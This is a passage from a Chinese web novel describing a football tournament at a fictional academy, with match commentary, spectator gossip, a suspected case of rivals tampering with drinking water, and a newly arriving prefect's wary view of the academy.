“好,谢君仪抱住了球,现在场面调转,柳三变和郭胜开需要迅速回复到自己的位置,谢君仪重新开球,这一球漂亮!直接越过半场,到达二队后方,杨舟万迅速回防,但小侯爷沈亦和戚风言已经冲了过来!主战场再次来到了一队这边!” 郭胜开和柳三变急忙往回跑,可是因为跨越了大半个操场,即便拼尽全力也来不及赶到。 他们没想到谢君仪竟然会拦下球来,如今整个二队后方空虚无人,只剩下一个守门员,而对面的戚风言却已经控着球,义无反顾往球网里冲。 观众席上的戚家父母当场站了起来,握紧双拳,还未走到半场,莫小川一个挤占,直接出来截下。 “哎呀!” 戚父气的狠狠砸了砸手掌心,没好气的看向一旁的前佃户——莫小川的父母,然而见到他们瑟瑟缩缩,即便是儿子抢到了球也不敢大声欢呼的样子,又只得清了清嗓子,重新闭上了嘴。 戚风言的球猛地被抢走,顿时怒不可遏上前去追。 可莫小川却并不恋战,一个回旋直接将球让给了郭胜开,局势再次调转。 童启忍不住笑出声来。 “据小道消息哈,莫小川家里便是戚风言之前的佃户,据说因此戚风言总是看不上对方,如今少爷和下人同场比拼,也是少见的画面了!莫小川并不畏惧,他直接抢下了戚少爷的球,传给了郭胜开,戚少爷绷不住了,他急了,他急了!可怎么办好呢?球已经再次被传回了二队的手上!” “看来二队的综合实力确实比较强,一队能拿出手的人除了沈亦没几个啊,很好,话音刚落,小侯爷沈亦便再次冲了上来,势头迅猛, 一脚便夺过了球,带着往回跑,柳三变来了,抢球!哎呀,没抢到!这一次的小侯爷死死防御住了,他吸取了之前的经验,一路运着球来到了二队的球网前,这一次,他能够踢进去吗?” 沈亦大口喘息着,任由春日的微风从他两侧垂落的发梢间穿过,一双明眸则紧盯着对面守门员的位置。 他俯下身子,一只腿高高抬起,全身肌肉都绷紧了,全力射入。 足球裹携着疾风越过草坪,直直飞向球网一角。 所有观众们都忍不住吞咽着喉结,安庆侯与其夫人更是整个脑袋都跟随望了过去,不自禁捏紧了手指,满脸希冀。 扑面而来的速度,令人不自觉后退。 可杨舟万却依旧守住了。 他惯是沉稳严谨的性格,且身高体格也远超于小侯爷,不同于谢君仪的憨憨傻傻,在球射出时,他便一早判断了方向,猛地跃出。 直接抱住! 沈亦和戚风言见状,急忙往回赶,可杨舟万不等他们回去,便一个发球,直接射到了半场之上。 莫小川迅速抢过,带球往上跑,刘卜温急匆匆上前堵截,汪启元挥了挥手,道,“来这里!” 他一个滑铲,莫小川的球被铲走。 汪启元迅速带球回转,迎来的柳三变上前围堵,戚风言也跟着转身,一个拉拽,三个人齐齐倒在了地上。 “xu——” 柏将军迅速吹哨,亮起黄牌。 “警告!戚风言注意手上动作。” 戚风言不甘心的站起身,拍了拍身上的灰,暗暗瞪了一眼莫小川。 球被裁判拿回,重新开。 一等发出,郭胜开上前便是一脚,传给了柳三变,不等一队的人上前争夺,对方很快又踢回给了郭胜开。 郭胜开再次带着人向前逼近,趁着空档,一个疾踢,直接踢了进去。 “啊啊啊啊啊——” 谢君仪来不及防范,只能眼睁睁看着再次进球,气的他半颗银牙都快被咬碎了。 不能再让他进球了。 他环起手掌心,冲着一队的队员们吼道。 “沈亦,严防住他!别让郭胜开拿球!” OK,有着谢君仪的话,接下来,整个半场,一队都将郭胜开视作了严防死守之人。 但凡他一动,直接便有两人上前拦路,不让离开。 观看席上,大家喊得声嘶力竭,喉咙沙哑,每当有选手们靠近禁区,便是一大串的疾呼。 可不是每一次都能够进球。 比分仍旧僵持在那里。 刘家饮子铺趁此迎来了生意的暴涨,可店老板却也没多大的心思卖东西了,他整颗眼睛都直接黏在了赛场之上。 见到所有人被焦灼的赛事所吸引,柳川偷摸转过身,想要趁着此时机,前往窥探童启的房间。 可因为有着前面的后山事件,整个华夏书院已有了防范,所有安保人员都守在了操场附近,就连小厮和厨娘们也均站在了主干道左右,严密看守着。 但凡有人出来,便会上前询问需不需要帮忙,要去哪里之类的问题,根本出不去。 没办法,他只能又退了回去,暂时留在了队里。 “哎呀,又没踢进去!二队再次拦了下来,守门员杨舟万,简直比城墙还要坚固,难以突破,直接把整个后方守得死死的,目前赛事过半,整体比分依旧是0:2,二队遥遥领先!” 解说席上的讲解令所有观众再次长叹一口气,泄气不已。 附近摆摊的几位少东家,凑一起小声议论着。 “这一队不太行啊,你看人家二队跑的,多快,难怪他们这踢进不去,光是速度就拖了大后腿了!” “还是实力太弱,权贵就是权贵,哪里懂得踢球啊,这踢得,也太差劲了,还不如我上去呢。” “看来二队是稳赢了,也不知道到最后,小侯爷能踢进去一个球不?” …… 窸窸窣窣的议论声夹杂着些许抱怨,一队的替补人员等候在休息区内,满心焦灼,连带着高价请来的蹴鞠教练也不由有点慌。 眼看场内刘卜温体力不支,他忙伸出手,打了暂停,将其换了下来,令王世昌顶了上去。 新人入场,且还如此俊秀漂亮,身高腿长、宽肩窄腰,只往那里一站,便吸引了不少目光。 许多头戴围帽还未出阁的女孩子早已偷偷泛红了脸,默默捧着心口,打听道这是何人。 而已出嫁的妇人则没那么多避讳,当场便激动起来,朗声赞道。 “哎呀,好俊俏的小后生,不知可有婚配了?” “这等长相身份,一看便是个踢球好手,我压他一注,肯定能行!” “哪一家,听说是一年级的王家,是伊川县那个王家么,还是永宁县那个王家?” …… 窃窃私语,引起不少男人的眼红,见姑娘们如此欢喜,他们忍不住冷哼道,“如此柔柔弱弱,怎么可能踢得好?若真的好,就不必坐替补席了。” 岂料话音刚落,那王世昌便直接抢过了球,带着跑了起来。 大长腿再加上身姿轻盈,速度敏捷的就如同草原上的豹一般,连柳三变和郭胜开的联合围堵,都没防住。 只轻轻一跃,便带球成功进入二队领地。 童启挑了挑眉,心情愉快。 “好,让我们来看看一队重新换人之后的表现,新上场的王世昌出身自河南府永宁县,平日里最喜读书,没想到上场之后一反文绉绉的样子,锐气不减,成功突破了柳三变和郭胜开的联合拦截,进入了二队大后方,莫小川和吴韧已经慌了,他们连忙往上冲,想要拦截,可惜!没有防住……” 王世昌眼睛直直的盯着守门员身后的球网处,目标清晰。 他飞快向前,靠着灵活多变,一路逼近,成功越过最后的几人,来到禁区附近。 没想到自家姐姐竟也会上场,男扮女装的王世昌当场便站了起来,慌得不行。 这一球并未蓄力,高高跃起,冲向球网,竟顺着缝隙处,直接钻了进去。 成功射入! “好!”整场沸腾,就连王世昌都忍不住破音喊了起来,险些暴露了他男子粗犷的声线。 旁边跟过来的小姐妹们更是满眼崇拜之色,拉住他的衣角,便问道。 “世贞世贞,你这双胞胎弟弟也太帅了吧!怎么从未跟我们介绍过?家里给他说亲了吗?我有一个朋友,你看……” 真正的王世昌:…… 不,我不想看。 论亲姐比我本人更帅怎么办? 他撇过眼睛,权当做没有听见。 而赛场上,真正进球的“王世贞”则得到了所有百姓的欢呼。 小侯爷沈亦高兴的快要飞起,一把上前便抱住他,狠拍了两下。 “好小子!我就知道把你争取到我们一队是正确的!” 王世贞也早就忘了自己女扮男装的身份,紧紧搂住沈亦,颠了两颠,任由热血激荡着全身,欢快的和队员们一一拍掌。 谁不喜欢看逆袭呢? 尤其是逆袭的主角还如此帅气?有了绝地反击的希望,一队队员们顿时士气大胜。 围观的百姓们也纷纷改了押注的方向,投给了权贵方。 早有那懂得商机的商人,偷偷将赛场上的事情令人全部作成了画,再佐以文字,稍加润色,便转头卖到了京城里去。一场蹴鞠赛,引得后期大奉朝无数良家女子成为了王世昌等人的粉丝,每逢听到王郎君的名字,便有人引颈窥视,其中尤其以四公主为最盛! 这都是后话,暂且不提。 只说临近结束,即便有着王世昌的入场,可其一个人,再厉害,也难以突破层层防线。 场面上的比分越加僵持。 趁着郭胜开和柳三变抢球失误,沈亦护着王世昌直接突破围堵,压进禁区,可刚射出,便又被杨舟万给挡住了。 “该死!” 小侯爷都快气颠了,这杨舟万也太能拦了些! 他本身就是周全无漏的性子,到了守门员的位置,更是如同活鱼入水,很难进球。 两个人连忙调转回防,好在赛事过半,即便杨舟万防堵能力很强,可却挡不住力弱,一脚踢出,依旧落入的还是他们自己家的包围圈。 莫小川抢到了球,往前冲,柳三变半路接过,眼看着时间就要到达最后几分钟内,郭胜开一脚踢进,成功入线! “赢了!” “就在最后的几分钟内,郭胜开再次拿下最后一球,成功以1 :3的好成绩,拿下了本届第一场胜利!让我们恭喜二队的球员们!恭喜华夏书院!不愧是柳三变,不愧是郭胜开,完美的配合,天衣无缝,赢得精彩!” 伴随着童启的解说,整个赛场响彻了鼓掌的声音。 吴韧等人喜极而泣,相拥在一起,开心欢呼不止。 大家踢了近乎整场的比赛,早已都疲倦的要死,可因着这场胜利,肾上腺素重新运转,又恢复了至高的热情。 二队成员绕场一周,又跑又跳的庆祝着。 一队的队友们则个个惋惜,虽败了,却仍旧陷入在比赛之中,低头分析着利弊。 “关键还是他们配合的好,我刚才踢过来的时候,你看到踢不进去,就应该传给王世昌来着的!他准头好,结果你非要带球,半路被拦下了吧?” “我也是没想到……” “好了,就算传给王世昌也不一定能进啊,下次咱们就知道了!” “下次就不应该这么分组,他们那边又有郭胜开,又有柳三变,再加上杨舟万严防死守,怎么赢啊?” …… 打完之后,两队齐聚在颁奖台上,握手言和。 虽依旧不忿,可认认真真斗了一场,倒也没有原先那么大的戾气了。 偶尔几个人眼中,还稍稍能看出一点敬佩,只是嘴上依旧还是咬死了不服气。 海面之下的冰川在无人看到的角落里,缓慢消解着,悄无声息。 一场比赛结束,观众们休息的休息,上厕所的上厕所,吃东西的吃东西。 童启这次特意将食堂的自动售货机暂时摆放到了操场门口,任由百姓们花钱购买。 虽然里面设置的只有常见的几个吃食,像是卤蛋、方便面、可乐、火腿肠、小面包等之类,可百姓们依旧吃的乐呵,个个如同进货周边一般,拿起怀里的布包,便往里面一顿装裹。 有那没有零钱的,干脆拿着银子去旁边的摊位上破。 搞得一整日结束,不少摊子里愣是一个铜钱都没落下,只剩下整角的银锭。 也是有趣。 系统全程监管着自动售货机的补货功能,百无聊赖的按着键,到了晚上,童启一检查,竟意外发现,光靠着自动售货机里的差价,他便赚了将近三十两之多,不可谓不恐怖! 如此惊人的购买力,令章县令也不觉瞠目结舌。 他原本还以为这场蹴鞠赛就只是赚赚名声,交流交流学习罢了,没什么可值得举办的意义。 可当月结束后,看着衙门里交上来的商税和农税,他的下巴都险些没有合上,还以为自己是得了什么老眼昏花的毛病,看串了不同行内的数字! 短暂的中场休息,一下场,便换上了龙胜书院和百盛蹴鞠队的比拼。 两队皆战意勃勃。 百胜蹴鞠队领头人物是一个三十多岁的中年男人,姓作齐,原本是河南府内一个搞贸易运货的,后因为喜欢蹴鞠,便一手拉起了一支队伍。 猛地受到华夏书院的邀请,他十分意外和惊喜,与龙胜的宗山长开场握手时,更是满脸笑容,道。 “早就听闻了龙胜书院擅长蹴鞠,没想到今日还有比试的机会,实在是难能可贵。” “好说好说。大家一同进步,交流学习嘛。” 面对这种外人多的场面,宗山长瞬间端出了自己的文人风骨,倒是有了几分朝廷里打官腔的感觉。 柳川站在其身后,笑的委婉,一副风度翩翩的公子姿态。 伴随着柏大将军指挥哨子一吹,两边的前锋正式开始抢球。 要说龙胜不愧为龙胜,踢了这么多年的比赛,很多经验还是远超于寻常队伍的。 不同于华夏书院看起来就青涩的感觉。 甫一开赛,柳川便直接抢到了球,迅速向前奔去。 百盛也不在话下,多次争抢。 一颗球眨眼便在几个人脚下变了几番,连解说都来不及跟上,简直比方才华夏书院的比拼,还要更加紧张刺激些。 这边第一场比完的选手们纷纷落坐回休息区,调整着呼吸。 前排的草坪,各自的后勤队员早便准备好了零食物品,抬了上来,一队领域霎时被围得水泄不通,安庆侯生怕自家儿子哪里委屈不够用,甚至大手一挥,直接包了几十杯饮子放在沈亦的手边,如同众星捧月一般。 架势之大,不知道的,还以为赢得是一队。 而与之相对比的,则是二队的拮据。 吴韧等人从后勤人员手中接过竹筒,吨吨吨仰头喝下。 郭胜开拿着毛巾擦了擦额角的汗,大口喘息着,怕一口气喝干手里的水,小口小口抿着,旁边沈亦见状,直接一屁股挤过来,将还未开封的可乐递了过去,自来熟问道。 “怎么样,如果你们明天对上龙胜的话,能赢吗?” 郭胜开低头瞄了一眼那递上来的水,也不推辞,接过后仰头喝了一口,眼睛却始终跟随着场上的人,不断转移。 “不确定,柳川和冯琦他们十分老练,一看便是经验强盛的类型,我们虽势头猛,可耐力却不如他们,若真对上,我觉得胜算不大。” “别这么悲观!没看柏大将军他们还没露脸么,万一明天是柏将军他们先拿了胜利,那没准咱们最后都不用跟龙胜打,直接不战而胜呢?”谢君仪忍不住插话道,偷摸摸爬了过来,给二队出着阴损的主意。 “你才是闭嘴吧,规则都没听懂,明天三队都得上场,别管谁赢了,肯定都是要跟咱们再比一场的。”柳三变回怼道。 “那也没关系啊,到时候你让莫小川和吴韧死防住柳川,然后你去抢冯琦的球,再让给郭胜开去踢,我觉得获胜的可能性还是很大的。” “不行不行,吴韧力量太差,而且跑不动,我觉得不如让你们的替补常仕进上去,他比较猛。”戚风言闻言,也不自觉走了过来。 “猛什么?常仕进耐力不行。” 打了一场之后,两方对彼此的队员风格那是无比的清晰,说起来,简直比自己家里有什么,还要头头是道。 常仕进憋不住反驳了回去。 “你说谁耐力不行?够了啊,我们二队的事情,用得着你们插手管么?” 吴韧和杨舟万皱眉拦了一下,不悦的看向他,常仕进自觉失言,闭上嘴不说话了。 谢君仪等人被骂了一句,也不生气,只哼了一声,嘟囔道,“要不是同一个书院的,我们才懒得搭理你呢。” 童启坐在解说台上,一边讲解着,一边分了一部分的心到学生们这边。 看着他们几个小脑袋瓜渐渐凑在一起,顿时忍不住露出了个笑容来。 孩子们其实是最单纯的,如果没有什么人挑唆,或者一开始就灌输什么奇怪的认知的话,通常简单的就像是一张白纸,可以任由涂抹。 谁会时时刻刻操心什么阶级地位呢?除非这阶级地位,本身背后就维护着一些群体的强大利益,严格被区分出了上下,令众人不得不遵循,否则就会失衡。 这才难以解构。 可只要能引入另一种新的规则,以强有力的手段介入到之间,重新洗牌,那么新势力势必顶替旧势力,新规则势必代替旧规则。 只要人们开始承认新的标准,谁还会管什么阶级利益? 本能选择更有利于自己的,更公平的,才是普遍的认知反应。 场内龙胜书院和百盛蹴鞠队的比赛,仍旧在继续,越过了半场之后,便正式进入到了白热化阶段。 丰富的变动性,咬的死死的比分,可比方才的菜鸟互啄,要好看多了。 很快,双方便齐齐拿下了一球,来到了1:1平。 童启赞了一声漂亮,刚准备详细解说方才的抢球动作,突然,场内的柳川吃痛倒地,一下子抱住了自己的腿,满脸苦色。 旁边的冯琦立马大喊道,“裁判,他绊人!” 第44章 第44章(加更)蹴鞠大赛(下)…… 因着这一声喊叫,柏大将军被吓了一跳,连忙上前查看,见到柳川疼的满头皆是汗水,整个人都不禁慌了。 再三检查,幸而没伤到骨头,这才堪堪松了一口气。 实际上他并没有看清楚到底有没有人伸腿绊人,只是见到柳川和百胜蹴鞠队的前锋纠缠在一起,互相抢球,接着便听到了有人倒地的声音。 没办法,他只得抬头望向另一个当事人,去寻找答案。 奈 何那位见到柳川倒地,早已经吓得面色惨白,也不记得自己当时什么动作了,当场便甘愿的被罚了下去。 主役下场,很快新的人员被替补上来,明显便没有原本的前锋配合默契。 比分迅速被拉平,龙胜这边的局势猛地大盛起来。 童启垂眸看在眼中,并不多做评判。 最后一场比赛,龙胜以3:2的微弱优势,险胜。 百胜蹴鞠队虽觉可惜,但好在大大扬名露脸,也是开心不已。 整个河南府因着这一场比赛,不少人都知道了这支队伍,还未结束,齐队长便已经接到了不少商家和权贵们的邀约,说是要回头私下里也踢一场。 光是费用,便开出了天价。 几个人笑盈盈说完了结束感言,也不留念,在华夏书院里采购了一大包的零食特产后,便美滋滋离开了沧澜山,不必细说。 只说第一日结束,王二等人带着东西回去整理当日的赌局。 除了第一场四六开,赢得不多,第二场奇迹般的逆反,光是坐庄,便直接稳赚了几百两。 其中暴利,令几个人都险些难以呼吸。 当场一合计,这生意能做,于是便直接预约了第二日的比赛。 童启也是没办法,第一日的巨大人流量,使得整个书院安保岌岌可危,就连系统也嚷嚷着要罢工,毕竟他们就这么大点地方,再塞,也不可能塞得下整个河南府的人吧? 于是为了稍加限制一点人数,他只得采取了预约制,收取门票费用。 虽不多,只每个人两文,但也由此拒绝了不少舍不得掏钱,以及没有抢到票的百姓们。 即便如此,光是靠着卖票,童启便愣是拿到了五十多两银子。(其中包含不少高价买前排座位的权贵们) 默默围观了全程的清虚子与潘阆暗暗议论着,这幸亏童启还没入朝,不然就这赚钱的手段,若不被当今圣上调到户部去,百般压榨,那都可惜了这身本领! 人间貔貅,不外如此! 就连温叶辞都忍不住盛赞道山长懂得持家,别人家办书院,那都是尽往外倒贴。 他家倒好,竟从未操心过进益的事情。 实在是省心。 第二日,蹴鞠大赛依旧如火如荼的举行中。 柏大将军抽中了第一场,和华夏书院打,败的一方,则继续和龙胜比拼。 终于对上了心心念念的柏大将军,这一次的华夏书院,几乎提起了二十万分的精神。 二队所有成员养精蓄锐,全力以赴,就连一队的不少家长们,也忍不住前来围观。 不愧是无一败绩的柏将军,即便是单捞出来一个蹴鞠队,那扑面而来的威压,也足以令所有学生们感觉到本能的颤栗。 柏弓良手底下最出名的,乃是一位副将,名为丘二,担任此次的前锋,全程下来,上半场结束,郭胜开连一次球几乎都没有碰到过。 直接将孩子差点打崩溃了。 两位教练不得已,连忙叫停休息,带着学生们一起凑堆儿开会。 一队的队员们也纷纷围了过来,简直比二队的参赛选手,还要操心,个个急的抓耳挠腮的。 “你们不能只是冲,要懂得配合,知道吗?若只是靠着悍勇,是绝对不可能打得过的,他们可都是真实上过战场的老手!三变,你灵活矮小,就应该率先抢球,但脚部力量,你不如他们的劲儿大,所以你一旦抢到,就应该迅速传给其他人,不要留念,常仕进,你一会儿上场顶替吴韧的位置,替三变掩护,帮他冲刺,你速度快,对上他们,只要护防就行,其余不用理。” “胜开你负责进球,你的准确率比较高,如果没踢中,也别急,迅速回防,守住咱们的大后方,莫小川你可以多补脚,你的准头其实也不错,就是太过被动,不怎么往前走,如果他们一旦防住了郭胜开,你就得上去踢!记住,只要能踢进禁区内,咱们就算赢了一半。” 莫小川怯怯懦懦,不太确定的说道,“我……我能行吗?” 教练还未开口,旁边的戚风言率先看不下去,狠狠怼道。 “怎么不行?你拿出小时候遭你爹打的气势啊,那个时候你光着屁股绕着整个村子跑,不是跑的特快么?” 骤然被公众揭短,莫小川一口气没上来,差点岔气。 他本能的怒瞪了对方一眼,瞪完,这才发现自己以下犯上,做了什么,连忙迅速收回了视线。 一众球员重整士气,互相拍着肩膀,再次上场。 有着教练的提醒,刻意分工之下,默契度很快重新上来。 靠着郭胜开和莫小川强有力的配合,华夏书院很快拿下一球。 整场观众顿时清醒了,一下子欢呼起来。 休息位上,戚风言猛地跳起,大声喊道,“就是这样!干的漂亮!” 戚父和莫父同时站起身,刚想拥抱,看到是对方,又瞬间僵硬下来,忍不住清清嗓子,转头尴尬坐下。 时光荏苒,赛场上酣畅淋漓,围观的观众们只觉没过多久,便听到了裁判最后十分钟的倒计时提醒。 两方比分如今已经拉到了2:2,完全持平,眼见着最后一个球,便能够决定生死输赢,莫小川等人几乎拼尽了全力,一个不留神,却被直接掀翻在地。 柏大将军迅速吹哨。 这一次,他倒是看的十分清楚,的确是自己这边的人不小心带翻的。 于是踩着最后一分钟的时间线,华夏书院重新获得了一次点球的机会。 解说席上,就连童启也忍不住紧张的抖起腿来,话语本能的变得密集。 “现在场上的比分已经达到了2:2持平。那么,华夏书院到底能不能踢进去这个球,便变得至关重要起来。进了,那么华夏书院自动上位,成为这场蹴鞠大赛的第二名,败了,则是和局,可能需要重新加时,继续比拼出结果,让我们来一起看看这一次的守门员,柏大将军这边是有名的京城蹴鞠好手,崇晓林,对方声明赫赫,在数次的比赛中拿下优胜,如今他已经做好了所有准备,紧盯着华夏书院的动作,而华夏书院派出的点球人则是——果然,依旧是郭胜开选手!” 所有人情不自禁站起,期待起最后的结局,就连潘阆和温叶辞等人也忍不住闭上了嘴,高高扬起了脖子。 郭胜开站在守门线附近,深深的呼吸了一口气,努力调整着自己的状态,缓缓望向了观众席。 母亲、妹妹、山长、同窗…… 眼见着所有人的目光都集中在自己身上,他闭上眼,调息了一下。 一脚射出。 而此时,河南府界内,一辆马车正缓缓驶入边区。 “咚咚咚”三声,旁边的小厮连忙下马,登上了其中一辆车辕,仔细聆听着自家大人的指令。 “邢御医如何?可好些了?” 车内的顾信之手里拿着公文书卷,望了眼窗外紧跟着的马车,开口问道。 那小厮恭敬回答,“已大好了,昨日许是感染了些许风寒,有些咳嗽,晚间照着单子熬了副药,今日看起来,精神头便恢复了不少。” “嗯。” 顾信之点点头,挥手让其退下,掀起车帘,望向不远处的界碑。 这邢御医并非他手下之人,乃是从宫中刚刚退休出来的老御医,半路遇见,无子无女,正好归乡,看在其一身本领,且对宫中不少贵妃、大臣们均有着救命之恩,顾信之便起了心思,索性多等几日,积攒点携带之恩。 以方便将来有什么事,也好求助开口。 这年头大夫金贵,若自己手底下的小厮们能学到个一招半式,倒也不负这一路的辛苦。 当然,若能将其留在河南府,那便更好了。 只可惜河南府贫瘠,恐会遭人嫌弃。 他努力回忆着多年前,自己进京赶考,路过伊川时,被同窗王举人招待的印象。 记忆中,好像皆是贫困、破落的画面,一路上尽是乞讨之人,整个县城里都拎不出几个读书的,学风不盛,再加上当地的学政常年缺失,几乎看不到什么人才的样子。 八成是没什么特色,能招的住人来。 然而,随着他们一行人渐渐驶入河南府,那全新的街道,平整的店铺,倒是令顾信之愈发意外起来。 虽行人依旧不多,可秩序俨然,井井有条,比起他原本就职的开封府,竟也不遑多让。 这里……何时成了这幅模样? 他心内疑惑,眼见着到了午时,便命人随处找个食铺停车,然后便约着邢御医,一同下车用饭。 那邢御医虽没出过宫,可年轻时好歹也是走过南闯过北的,对河南府并不陌生,如今眼见着焕然一新,不由好奇问道。 “你们这河南府近几年发展的,还挺不错啊,看来前任木知府管理有方,并非虚词。就是街道上行人不太多,不然的话,已经能和开封府并列了。” 顾信之瞬间竖起耳朵,等待着店小二的回答。 作为新的知府接管人,他自然也相当好奇。 谁也不想手底下的地界是个半晌都敲不开一点骨髓的地方,可即便远超于意想之中,他也希望那原因,是在自己可以控制之内的范围。 而不是什么其他的变动影响。 木知府他接触过,最是贪婪无度。 那种人,怎么可能把河南府打造成如此模样? 果然,店小二听到询问后,很快便不屑的冷哼了一声,答道。 “这木知府算个什么,河南府如今发展的好,跟他可没半毛钱的关系,全靠我们这里来了个文曲星,这才勉强带了起来。” “哦?文曲星?”邢御医好奇的和顾信之对视了一眼。 “一看你们就是从外地来的吧,听过华夏书院没有?那里的山长可是个响当当的人才,不仅扶危救困,聪慧无比,就连赚钱的营生也十分擅长,他手底下的人研究出了琉璃的配方,倒手一卖,这不,河南府所有的权贵商户,身价都翻了几番。眼见着文气渐盛,来往的人多了,那也是因着他们那里招来了很多学生,有着权贵们带头,可不就发展起来了。若不是这几日和龙胜比试蹴鞠,街上还要更热闹一些呢,我也是抢不到票,走不开,不然只怕也早就去了……” “胡咧咧什么,还不快点去帮忙干活!” 眼见着店小二抱怨不断,东家不悦的出声警告道,冲着两人赔笑两下,便转头拿着票,直奔华夏书院而去。 没想到其内竟还有这样一层原因,邢御医和顾信之都被说的提起了一些兴趣。 当下便转头,绕道前往伊川,看了一场蹴鞠赛。 半路上,顾信之隐隐觉得这【童启】和【华夏书院】的名字似乎有点耳熟,像在哪里听过,可一时之间倒也回忆不起来,只好先行放下。 第45章 第45章红牌罚下 簌簌冷风之中,沧澜山上下一片寂静,山涧内花鸟虫鸣翩翩飞舞着,仿佛连呼吸都是轻的。 郭胜开站在球门门口,蓄力,一脚踢了过去。 一点,两点,一切都像是刻意放慢了的高清摄像机,伴随着解说一句激动的。 “——球进了!” 成功进球! 赢了,真的赢了! 啊啊啊啊! 在经过了长达半分钟的静默之后,一切解禁,近万人陡然的欢呼声,激起阵阵声浪,达到了巅峰状态,将附近的山鸟吓得振翅飞远,不断扑闪着翅膀,悬在半空中。 不少没有买到票的百姓们好奇的抓耳挠腮,等候在沧澜山下。 好奇这赛事究竟能有多么精彩,竟会达到如此的效果。 赛场内外,一片沸腾! 所有人早已忘却了身份、阶级,一把冲下去便将郭胜开抱紧了,观众席上的百姓们喜得手舞足蹈,大声庆贺,王二更是哭的死去活来,头一次赔率如此之高,没想到却输惨了。 谁也没想到华夏书院能赢。 就连童启也没料到。 他和柏弓良对视一眼,惊讶的侧过半个身子,看向守门员崇晓林,见对方自己也一脸的怀疑人生,忍不住大笑出声。 柏大将军隔空点了点他,故意调侃道。 “老崇,你这怎么回事?水平不行啊,难不成是看他们年纪小,故意谦让了不成?” 崇晓林抱着球苦笑一声,摇了摇脑袋,“若真是让的就好了。” 常年打雁,却令雁啄了眼。 一开始崇晓林还看不上这些半大的小子,没想到,他们还真凭着一股莽劲儿,闯过来了,有点东西啊。 就连前锋丘二也不由盛赞道,“输的不亏!咱们轻敌了,人家可没轻敌,破釜沉舟,众望所归啊!” 几个人扭过头,看着全场欢庆的场面,一向威严肃穆的脸,此刻也悄然绽放出一抹笑容来。 对于孩子们,大家都是耐心十足,包容度极高的,尤其还是这种拼尽全力,以弱胜强的“孩子们”。 因此柏弓良他们虽输了,却对这结果毫无意义。 毕竟光明正大,口服心服。 可角落里,此刻的龙胜书院却半点都笑不出来。 原本柳川他们料定的就是柏大将军会赢,因此早就做好了和华夏书院踢最后一场的准备,可没想到半路出了差错,竟然提前便对上了柏将军!这若是输了,岂不是连最后一场和华夏书院报仇雪恨的机会都没了? 一时之间,氛围不由沉重起来。 就连宗山长也忍不住咂了咂舌,叹道,“不好打啊。” 柳川不甘心的咬咬牙,看向了冯琦的方向,两人对视一眼,趁着中场休息,悄然离开了队伍。 副将崇晓林、丘二等人下台后,一一和华夏书院二队的成员们握手,口中赞道。 “不错,就这身体素质,以后即便不当官,也能够从军去了。” 柏大将军一巴掌打在几人后脑勺上,笑骂道,“胡诌什么呢?人家们可都是未来的状元郎,哪能像你们一样?给我重新说!” 众人顿时哈哈大笑起来,氛围一片和谐。 保底拿下了第二名,华夏书院二队的成员们如释重负,直接躺倒在休息区,围观起下面的比赛来。 而柏将军等人却因为要再踢一场,重新活跃起身体来,三三两两凑在一起,边补充能量,边商讨着下一场的对策。 小厮们连忙将他们要的水抬了上来,一一灌满竹筒。 崇晓林等人说的兴起,看也未看,仰头喝下。 童启趁机从解说员的位置上下来,交给了清虚子负责,自己则趁着休息时间,亲自去食堂里打了个招呼,让中午加餐,给所有学生们小小犒劳一番。 以示庆贺。 王厨娘等人欣然应允。 等他回来后,第二场的比赛已正式开启。 面对防备心拉满的柏大将军等人,龙胜这一场注定踢得艰难。 前期几乎连球都摸不到,可还没等几分钟,不知怎的,丘二便满头大汗的举起手来,申请下场。 “怎么了这是?” 柏大将军连忙吹哨暂停,看着自家副将脚步虚软的样子,疑惑不解。 “我……肚子有点疼,可能要上个茅房,那个……先让小琪替我吧。” 他捂着肚子头也不回的连忙往厕所赶,附近听到原因的百姓们皆善意的笑了起来。 “这小子,就是屎尿多。” 柏将军骂了一句,没办法,只得换人上场。 可还不到一会儿,守门员崇晓林便也伸手要去茅房一趟。 “你们这是早上吃了什么东西?怎么个个拉肚子?” “不知道啊,小琪他们和我们吃的一样,按理说没道理啊,哎呦,我不行了,那个,先让其他人替一 下我吧,我有点急……” 说着,一阵风般闪过,崇晓林捂着屁股便往厕所里冲。 两个人说走就走,一直到赛事结束,都没回来。 比赛顿时变得无趣起来,最厉害的不在,真正的实力也看不太出来,龙胜直接以2:1赢得比赛。 毫无悬念。 第二日虎头蛇尾般的结束后,柏大将军带着几人回去总结经验,怎么琢磨怎么觉得有问题。 他们怀疑是中场休息时喝的那几桶水不干净,可当时环境混乱嘈杂,谁还有闲心关心是哪里提过来的? 没有证据,再加上说出去多少也有点输不起的感觉,只能作罢。 这事,引起了华夏书院汪启元的注意。 趁着比赛结束,他偷偷查看了院里小厮的排班表,着重询问了一下中午厨房的水是谁送出的,在得知龙胜书院的冯琦在中场休息时,来过大厨房一趟,不由怀疑起这事是不是和对方有着什么关系。 不然怎么可能上一场还好好的,下一场崇晓林等人便突然腹泻不止? 仅仅只是巧合这么简单吗? 晚上,回到宿舍后,他将此事转告给了吴韧等人,提醒道。 “明日千万要注意入口的东西,尤其是水和吃食,更是万万不能离身,龙胜书院来者不善,保不准会耍什么阴招,咱们虽无害人之心,可好歹也得有点防人之意才是。” 吴韧听罢,细细思考了一下,也不由竖起了二十万分的心思,严加防范起来。 第三日的比赛,整个河南府的知名人士基本上全来了,尤其是文人群体,那更是一个不漏。 两家书院的比拼,即便不是朝堂皇榜之上,放到现实里,也是相当有趣,值得大书特书一番。 没人想要错过,因此光是票价便翻了几番。 顾信之和邢御医好不容易从两位“黄牛”那里买到了票,光是银子便花了二两之多,等入场时,更是因为人潮拥挤,险些无法呼吸,等真正坐到位置上,早已憋了一肚子的气,见到前排不少大人物皆在此,这才稍稍好受了一些。 “那是安庆侯爷?柏弓良柏将军?他们怎么也来了?看来这华夏书院的山长,确实来头不小啊。”邢御医感叹着。 顾信之没好气的看了一眼,眉头也顿时微皱起来。 他暗暗打量着周围的设施,心里早已忍不住和其他见过的几家书院比较了起来,颇有些别扭之感。 这么占地面积之大的一所书院,背后竟然有着如此大的能量,能令一府侯爷与这些百姓们平起平坐,其影响力和声望,不容小觑。 而当地县令和知府竟就这样眼睁睁看着,未有半点辖制?实在是令人心惊。 没听过哪家皇子手下和权贵姓童啊? 这背后何人,又想做何事?若真等着他们成了势,还有他这未来知府的立足之地么? 且文武本就非一道,当今圣上更是多次提过喜文厌武之事,这些学子们不去读什么圣贤书,力求仕途上进之功,反倒和这些武将们勾肩搭背,明晃晃举办蹴鞠之事,又成何体统? 想到这里,顾信之已有了一点先天的偏见之意。 